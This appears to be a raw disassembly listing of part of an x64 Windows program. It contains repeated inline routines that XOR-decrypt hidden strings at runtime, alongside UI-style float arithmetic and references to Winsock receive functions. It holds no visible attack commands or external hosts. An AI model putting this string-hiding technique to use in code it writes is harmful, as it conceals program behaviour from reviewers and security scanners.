xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
lea rcx, [rbp + 0x2d8]
mov rdx, rax
call fcn.14000b4e0
movzx ecx, byte [0x14029c60f]
lea rbx, str.Other
test cl, cl
cmovne rbx, r15
jne 0x140058f06
movss xmm7, dword [rax]
mulss xmm14, dword [0x1401ca548]
movaps xmm6, xmm15
addss xmm6, dword [0x1401ca5dc]
movaps xmm0, xmm14
addss xmm6, xmm6
addss xmm6, xmm7
mulss xmm6, dword [0x1401ca548]
subss xmm0, xmm6
call fcn.140015c30
movss xmm0, dword [0x1401ca5dc]
call fcn.140015c70
xorps xmm2, xmm2
lea rcx, [rbp + 0x2e0]
xorps xmm1, xmm1
call fcn.140001570
lea rdx, [rbp - 0x36]
mov byte [rsp + 0x69], 0
lea rcx, [rsp + 0x69]
mov rdi, rax
call fcn.140061a60
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140058f7e
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rdx, rdi
mov rcx, rax
call fcn.1400318c0
test al, al
je 0x140058f9e
mov byte [0x14029c60f], 1
mov dword [0x14029c628], 5
mulss xmm7, dword [0x1401ca548]
movaps xmm0, xmm14
subss xmm0, xmm7
call fcn.140015c30
movss xmm7, dword [0x1401ca5dc]
movaps xmm0, xmm7
call fcn.140015c70
mov rcx, rbx
call fcn.140030a00
addss xmm6, xmm14
subss xmm6, xmm15
movaps xmm0, xmm6
call fcn.140015c30
movaps xmm0, xmm7
call fcn.140015c70
xorps xmm2, xmm2
lea rcx, [rbp + 0x2e8]
xorps xmm1, xmm1
xorps xmm14, xmm14
call fcn.140001570
lea rdx, [rbp - 0x34]
mov byte [rsp + 0x6a], 0
lea rcx, [rsp + 0x6a]
mov rbx, rax
call fcn.140061ab0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140059022
xor byte [rax], 0x31
xor cl, 0x32
mov byte [rax + 1], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400318c0
test al, al
je 0x140059042
mov byte [0x14029c60f], 0
mov dword [0x14029c628], 4
call fcn.140015ba0
addss xmm0, dword [0x1401ca5e8]
call fcn.140015c70
lea rcx, [rbp - 0x68]
call fcn.140015b80
movss xmm2, dword [rbp - 0x64]
lea rcx, [rbp - 0x58]
movss xmm1, dword [rbp - 0x68]
addss xmm2, dword [0x1401ca68c]
addss xmm1, dword [0x1401ca658]
call fcn.140001570
movss xmm0, dword [rbp - 0x68]
movss xmm1, dword [rbp - 0x58]
addss xmm0, dword [0x1401ca698]
addss xmm1, dword [0x1401ca698]
movss dword [rbp - 0x68], xmm0
movss dword [rbp - 0x58], xmm1
call fcn.1400125a0
mov r15, rax
call fcn.140007f00
movss xmm0, dword [0x14029c878]
mov r14d, esi
movss xmm9, dword [0x1401ca5a0]
mov esi, 0xa
addss xmm0, dword [rax + 0x10]
movss dword [0x14029c878], xmm0
nop word [rax + rax]
mov edx, __WSAFDIsSet
movd xmm0, esi
cvtdq2ps xmm0, xmm0
mov r9d, edx
lea rcx, [rbp + 0xca0]
mov r8d, edx
mulss xmm0, dword [0x1401ca518]
mulss xmm0, dword [0x1401ca548]
mulss xmm0, dword [0x1401ca668]
cvttss2si eax, xmm0
mov dword [rsp + 0x20], eax
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
movss xmm2, dword [rbp - 0x54]
lea rcx, [rbp + 0x2f0]
movss xmm1, dword [rbp - 0x58]
mov edi, eax
movd xmm6, r14d
cvtdq2ps xmm6, xmm6
addss xmm2, xmm6
addss xmm1, xmm6
call fcn.140001570
movss xmm2, dword [rbp - 0x64]
lea rcx, [rbp + 0x2f8]
movss xmm1, dword [rbp - 0x68]
subss xmm2, xmm6
subss xmm1, xmm6
mov rbx, rax
call fcn.140001570
movss dword [rsp + 0x30], xmm9
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm9
mov rcx, r15
call fcn.140023770
inc r14d
dec esi
test esi, esi
jg 0x1400590e0
movdqa xmm9, xmmword [0x1401ca7a0]
lea rcx, [rbp + 0xcb0]
mov edx, __WSAFDIsSet
mov dword [rsp + 0x20], 0xff
mov r9d, edx
mov r8d, edx
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
movss xmm0, dword [0x1401ca5a0]
lea r8, [rbp - 0x58]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp - 0x68]
xor esi, esi
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, r15
movss dword [rsp + 0x20], xmm0
call fcn.140023770
movss xmm0, dword [0x1401ca608]
call fcn.140015c30
movss xmm0, dword [0x1401ca630]
call fcn.140015c70
mov edx, __WSAFDIsSet
mov dword [rsp + 0x20], __WSAFDIsSet
mov r9d, edx
lea rcx, [rbp + 0xcc0]
mov r8d, edx
call fcn.1400015b0
lea rdx, [rbp + 0x388]
mov rcx, rax
call fcn.140001600
lea rdx, [rbp + 0x388]
mov ecx, 5
call fcn.1400043f0
movss xmm7, dword [0x1401ca64c]
lea rcx, [rbp + 0x300]
movss xmm15, dword [0x1401ca660]
movaps xmm2, xmm7
movaps xmm1, xmm15
call fcn.140001570
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x6b], sil
lea rcx, [rsp + 0x6b]
mov rbx, rax
call fcn.140061ae0
mov r10, rax
cmp byte [rax + 0x12], sil
je 0x1400594b6
mov r8d, esi
cmp r13d, 2
jl 0x140059470
mov eax, dword [str.1111111111111111]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
movdqa xmm6, xmmword [0x1401ca7e0]
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
mov r8d, reloc.WS2_32.dll_recv
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x140059478
movdqa xmm6, xmmword [0x1401ca7e0]
mov r9d, r8d
add r9, r10
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140059480
jmp 0x1400594be
movdqa xmm6, xmmword [0x1401ca7e0]
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, r10
call fcn.14000baf0
movss xmm0, dword [0x1401ca5c0]
call fcn.140015cb0
movss xmm2, dword [0x1401ca5b0]
lea rcx, [rbp + 0x308]
movaps xmm1, xmm14
call fcn.140001570
mov rcx, rax
call fcn.1400339d0
lea rdx, [rbp + 0x61b]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061b10
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140059547
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x14029c7f0]
mov rcx, rax
call fcn.140032c80
cmp byte [0x14029c7f0], sil
jne 0x140059580
mov byte [0x14029c7ea], sil
mov byte [0x14029c80d], sil
mov byte [0x14029c824], sil
mov byte [0x14029c820], sil
jmp 0x140059eea
movss xmm0, dword [0x1401ca5f8]
call fcn.140015cb0
lea rdx, [rbp + 0x652]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061b40
mov r10, rax
cmp byte [rax + 0xb], sil
je 0x140059753
mov r8d, esi
cmp r13d, 2
jl 0x140059710
movdqa xmm7, xmmword [str.1111111111111111]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x14005975b
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140059720
movdqa xmm7, xmmword [str.1111111111111111]
lea rdx, [0x14029c7ea]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xa8f]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061b60
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x140059924
mov r8d, esi
cmp r13d, 2
jl 0x1400598e9
movd eax, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400598f0
lea rdx, [0x14029c80d]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x65e]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061b90
mov r10, rax
cmp byte [rax + 0xb], sil
je 0x140059ae4
mov r8d, esi
cmp r13d, 2
jl 0x140059aae
movd eax, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140059ae4
mov r9, r10
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140059ab1
lea rdx, [0x14029c824]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xcd0]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061bb0
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x140059d13
mov r8d, esi
cmp r13d, 2
jl 0x140059cd5
movd eax, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x140059d13
mov r9, r10
nop dword [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140059ce0
lea rdx, [0x14029c820]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x66a]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061bc0
mov r10, rax
cmp byte [rax + 0xb], sil
je 0x140059ed3
mov r8d, esi
cmp r13d, 2
jl 0x140059e9d
movd eax, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140059ed3
mov r9, r10
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140059ea0
lea rdx, [0x14029c809]
mov rcx, r10
call fcn.140032c80
movss xmm7, dword [0x1401ca64c]
call fcn.14000bbb0
movss xmm0, dword [0x1401ca608]
call fcn.140015c30
movaps xmm0, xmm15
call fcn.140015c70
movaps xmm2, xmm7
lea rcx, [rbp + 0x368]
movaps xmm1, xmm15
call fcn.140001570
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x6c], sil
lea rcx, [rsp + 0x6c]
mov rbx, rax
call fcn.140061be0
mov r10, rax
cmp byte [rax + 0x17], sil
je 0x14005a233
mov r8d, esi
cmp r13d, 2
jl 0x14005a1f0
movdqa xmm15, xmmword [0x1401ca7e0]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
movdqa xmm6, xmmword [str.1111111111111111]
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm2, xmmword [0x1401ca7f0]
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1401ca800]
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x14005a244
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005a200
movdqa xmm6, xmmword [str.1111111111111111]
movdqa xmm15, xmmword [0x1401ca7e0]
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, r10
call fcn.14000baf0
movss xmm0, dword [0x1401ca5c0]
call fcn.140015cb0
movss xmm2, dword [0x1401ca5b0]
lea rcx, [rbp + 0x310]
movaps xmm1, xmm14
call fcn.140001570
mov rcx, rax
call fcn.1400339d0
lea rdx, [rbp + 0xada]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061c00
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x14005a4a3
mov r8d, esi
cmp r13d, 2
jl 0x14005a46a
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
